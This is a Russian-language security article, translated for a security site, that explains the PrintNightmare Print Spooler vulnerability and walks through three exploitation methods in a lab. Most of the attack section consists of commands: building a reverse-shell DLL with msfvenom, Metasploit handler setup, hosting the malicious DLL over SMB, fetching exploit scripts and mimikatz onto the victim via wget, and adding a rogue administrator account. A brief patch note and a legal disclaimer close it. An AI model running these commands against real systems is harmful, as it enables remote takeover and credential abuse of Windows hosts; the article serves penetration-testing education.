Повышение привилегий Windows: PrintNightmare

Дата: 25.02.2022. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Повышение привилегий Windows: PrintNightmare
Изображение: Andrea Piacquadio (Pexels)

В данной статье пойдет речь о повышении привилегий Windows с использованием PrintNightmare. Читатели увидят, как это возможно сделать, на практическом примере.

Введение

Служба Print Spooler находится в поле зрения специалистов ИБ с тех пор, как «червь» Stuxnet использовал ее уязвимость для повышения привилегий Windows и распространился по сети центрифуг по обогащению урана, заразив более 45000 сетей. PrintNightmare — это общее название уязвимости выполнения кода удаленно в службе Print Spooler («spoolsv.exe») в операционных системах Microsoft Windows. Уязвимости был присвоен номер CVE-2021-34527. Первоначально, уязвимость рассматривалась как локальное повышение привилегий (LPE), ей был присвоен номер CVE-2021-1675. В срочном порядке были выпущены обновления для Windows в июне 2021 года с исправлением проблемы. Однако через 2 недели Microsoft изменила статус LPE с низкого уровня опасности на высокий, поскольку было выявлено, что обновления уже неэффективны. После этого уязвимости был присвоен номер CVE-2021-34527. Microsoft и авторы эксплойта вступили в спор, поскольку эксплойт RCE был выпущен на GitHub до появления обновлений для защиты Windows, что сделало возможным осуществление атак нулевого дня. Позднее, авторы исправили свою ошибку.

Идентификационный номер уязвимости: CVE-2021-34527.

  • Тип: выполнение кода удаленно (англ. «Remote Code Execution»).
  • Уровень угрозы: высокий.
  • Оценка по стандарту CVSS: 9.3.
  • Версии Windows, где была выявлена уязвимость: Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.

Идентификационный номер уязвимости: CVE-2021-1675.

  • Тип: локальное повышение привилегий (англ. «Local Privilege Escalation»).
  • Уровень угрозы: высокий.
  • Оценка по стандарту CVSS: 9.3.
  • Версии Windows, где была выявлена уязвимость: Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.

Дополнительные источники информации:

Основы работы службы Print Spooler

Print Spooler — это основной интерфейс, на котором отображен процесса печати документа. Это встроенная в Windows по умолчанию программа, которая открывается при запуске системы. Принцип работы Print Spooler выглядит примерно следующим образом:

Повышение привилегий Windows: PrintNightmare
  • Application: приложение создает задачу для печати, вызывая Graphics Device Interface (GDI).
  • GDI: GDI включает в себя компоненты графических драйверов KernelMode и User-mode.
  • winspool.drv – это интерфейс, который взаимодействует с буфером обмена. Он предоставляет стабы RPC, необходимые для доступа к серверу.
  • spoolsv.exe является API сервером Spooler. Этот модуль реализует маршрутизацию сообщений поставщику печати с помощью маршрутизатора (spoolss.dll).
  • spoolss.dll определяет, какого поставщика печати следует вызывать, на основе имени принтера и передает вызов функции верному поставщику.

Краткое описание уязвимости

Протокол MS-RPRN (Print System Remote Protocol) включает в себя метод RpcAddPrinterDriverEx(), который позволяет производить установку драйверов удаленно пользователям с правами SeLoadDriverPrivilege. Данные права предоставляются только администраторам системы. Итак, эксплойт пытается обойти эту проверку подлинности в RpcAddPrinterDriver. Метод осуществления эксплойта представлен afwu.

Cube0x0 написал у себя в Twitter, что ему удалось достичь тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который аналогичен RpcAddPrinterDriver и загружает драйверы удаленно. Информацию об этом можно найти здесь.

В данной статье будут рассмотрены обе техники.

Принцип работы с уязвимостью

Сперва стоит взглянуть на принцип работы RpcAddPrinterDriver:

  • Добавление Printer Driver к Server call (Rpc Add Printer Driver)
  • Клиент (хакер) получает связь с принтером для обмена файлами
  • Клиент (хакер) создает контейнер MS-RPRN (Print System Remote Protocol) Driver, в котором содержится DRIVER_INFO_2. В основном это переменные, которые содержат путь к библиотекам DLL, тип архитектуры и т.д.
  • Клиент (хакер) вызывает: RpcAddPrinterDriver(“<name of print server>”, DriverContainer).

Проверка безопасности. Когда клиент вызовет эту функцию, система проверит, есть ли у клиента «SeLoadDriverPrivilege», который по умолчанию присваивается администраторам системы.

Обход системы безопасности. Afwu упомянул в своем первом посте, что пользователь может указать следующие параметры в службе Spooler:

pDataFile =A.dll

​pConfigFile =B.dll

​pDriverPath=C.dll

Служба Spooler скопирует A,B,C DLL-файлы в «С:\Windows\System32\spool\drivers\x64\3\new», а затем загрузит их в «C:\Windows\System32\spool\drivers\x64\3».

Далее система Windows проверяет, что библиотеки DLL pDataFile и pDriverPath не являются UNC-путями. Однако конфигурационный файл может включать в себя путь UNC, и поэтому хакер имеет возможность выполнить следующее:

​ pDataFile =A.dll

​ pConfigFile =\\attacker_share\evil.dll

​ pDriverPath=C.dll

Это теоретически может заставить Windows загружать «evil.dll», который был подготовлен хакером.

Таким образом, обход аутентификации происходит следующим образом:

  1. Вызывается Rpc Add Printer Driver с предлагаемыми параметрами и UNC-путем, ведущим к вредоносной DLL.
  2. Вредоносная библиотека DLL копируется в «C:\Windows\System32\spool\drivers\x64\3\evil.dll».
  3. Однако это вызывает конфликтную ситуацию при запросе, поэтому пользователь вызывает функцию резервного копирования драйверов и копирует старые драйверы (включая его вредоносную DLL) в каталог «C:\Windows\System32\spool\drivers\x64\3\old\1\».
  4. Хакер заменяет путь к DLL на этот: «C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll».
  5. Обход системы безопасности был осуществлен – DLL успешно загружается в spoolsv.exe.

Вышеупомянутый процесс является фундаментальным, лежащим в основе работы эксплойтов, которые будут представлены далее.

IP-адреса

Для демонстрации были взяты следующие IP-адреса:

  • IP-адрес хакера: 192.168.1.2
  • IP жертвы: 192.168.1.190
  • Используемые скомпрометированные учетные данные: ignite/123

Способ 1. PrintNightmare RCE с использованием Python

Это способ применения CVE-2021-34527 (выполнение кода удаленно от имени администратора). Официальный PoC от Cube0x0 можно найти здесь.

Во-первых, нужно создать вредоносный DLL-файл, который будет запускаться от имени администратора. Для этого используется msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll
Повышение привилегий Windows: PrintNightmare

Теперь хакер может проверить, является ли цель уязвимой или нет, используя вспомогательный модуль Metasploit. Здесь он ввел случайный путь для аргумента DLL_PATH, поскольку он не запускает эксплойт, хакеру просто нужно выполнить сканирование. В ходе тестирования он обнаружил, что PrintNightmare ненадежен. Анализ подтвердил, что жертва уязвима.

use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit
Повышение привилегий Windows: PrintNightmare

Хакер запускает обработчик заранее перед выполнением DLL-файла с эксплойтом.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit
Повышение привилегий Windows: PrintNightmare

Теперь нужно клонировать репозиторий github. Хакер использует разветвленную версию оригинального эксплойта от Cube0x0.

git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py
Повышение привилегий Windows: PrintNightmare

Хорошо, остался последний шаг — разместить вредоносную DLL-библиотеку на сервере SAMBA. Хакер может настроить сервер SAMBA вручную в Kali, использовать Windows host для его размещения или smbserver от impacket.

Хакер добавит нужное имя общего ресурса (в данном случае используется «share»), а затем укажет путь (в данном случае – «/root»), по которому он сохранил вредоносную DLL.

python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root
Повышение привилегий Windows: PrintNightmare

Когда все готово, можно запустить эксплойт RCE:

./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’

Здесь хакер только что запустил общий ресурс на impacket, он будет использовать его в качестве пути UNC.

./CVE-2021-34527.py ignite:123@192.168.1.190 '\2.168.1.2\share\evil.dll'
Повышение привилегий Windows: PrintNightmare

Жертва успешно запустила DLL-файл и отправила хакеру сеанс на уровне администратора.

Повышение привилегий Windows: PrintNightmare

Способ 2. PrintNightmare LPE с помощью Powershell

Теперь читатели увидят более старый эксплойт для повышения привилегий локально. Afwu реализовал оригинальный эксплойт в C++, в то время как Caleb Stewart и John Hammond создали рабочий PoC в Powershell. В отличие от традиционного эксплойта, в этой версии хакеру не требуется создавать SMB-сервер для эксплойта. Вместо удаленного внедрения пути UNC авторы создают автономную библиотеку DLL во временном каталоге и выполняют локальное внедрение через пути UNC.

git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
Повышение привилегий Windows: PrintNightmare

Как только жертва будет скомпрометирована, следует загрузить этот файл ps1 в каталог «\Users\Public», используя IWR и настроив HTTP-сервер python в каталоге CVE-2021-1675.

cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir
Повышение привилегий Windows: PrintNightmare

Хакер может выполнить этот файл ps1 с помощью PowerShell. Этот сценарий PowerShell поможет добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого следует создать интерактивный PowerShell и вызвать модуль следующим образом:

powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"
Повышение привилегий Windows: PrintNightmare

Хакер создал пользовательскую DLL, которая добавляет нового пользователя «harsh» с паролем 123 в группу администраторов. Скрипт задействовал Print Spool.

net localgroup administrator
Повышение привилегий Windows: PrintNightmare

Проверить статус можно, если войти в систему жертвы с помощью psexec.

python3 psexec.py harsh:123@192.168.1.190
Повышение привилегий Windows: PrintNightmare

Теперь хакер является администратором системы.

Способ 3. PrintNightmare LPE с использованием Mimikatz

Чтобы выполнить эксплойт с помощью mimikatz, пользователь будет использовать существующий DLL-файл «evil.dll», а также наш SMBserver, работающий в существующей конфигурации. Хакер загрузит mimikatz.exe на его Kali и запустит HTTP-сервер python.

python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\2.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50
Повышение привилегий Windows: PrintNightmare

DLL был выполнен, и на multi/handler был получен Reverse Shell.

Следует настроить обработчик для Metasploit перед выполнением этой команды.

Повышение привилегий Windows: PrintNightmare

Патчи

Корпорация Майкрософт выпустила обновления для устранения этой уязвимости, которые можно найти в информационном бюллетене MSRC, упомянутом во введении. Кроме того, системным администраторам следует рассмотреть возможность отключения функций точечной печати.

Заключение

Из-за характера этой уязвимости и простоты эксплуатации PrintNightmare является серьезной уязвимостью, которая де-факто получила награду «Уязвимость года» в 2021 году. С тех пор появилось много новых эксплойтов, которые нацелены на spoolsv.exe и, несмотря на все усилия Microsoft, обновления не всегда помогают, поэтому специалистам ИБ настоятельно рекомендуется быть в курсе предстоящих угроз, касающихся службы Print Spooler.

Автор переведенной статьи: Harshit Rajpal.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Об авторе Игорь Б

Представитель редакции CISOCLUB. Добавляю статьи на сайт.
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован.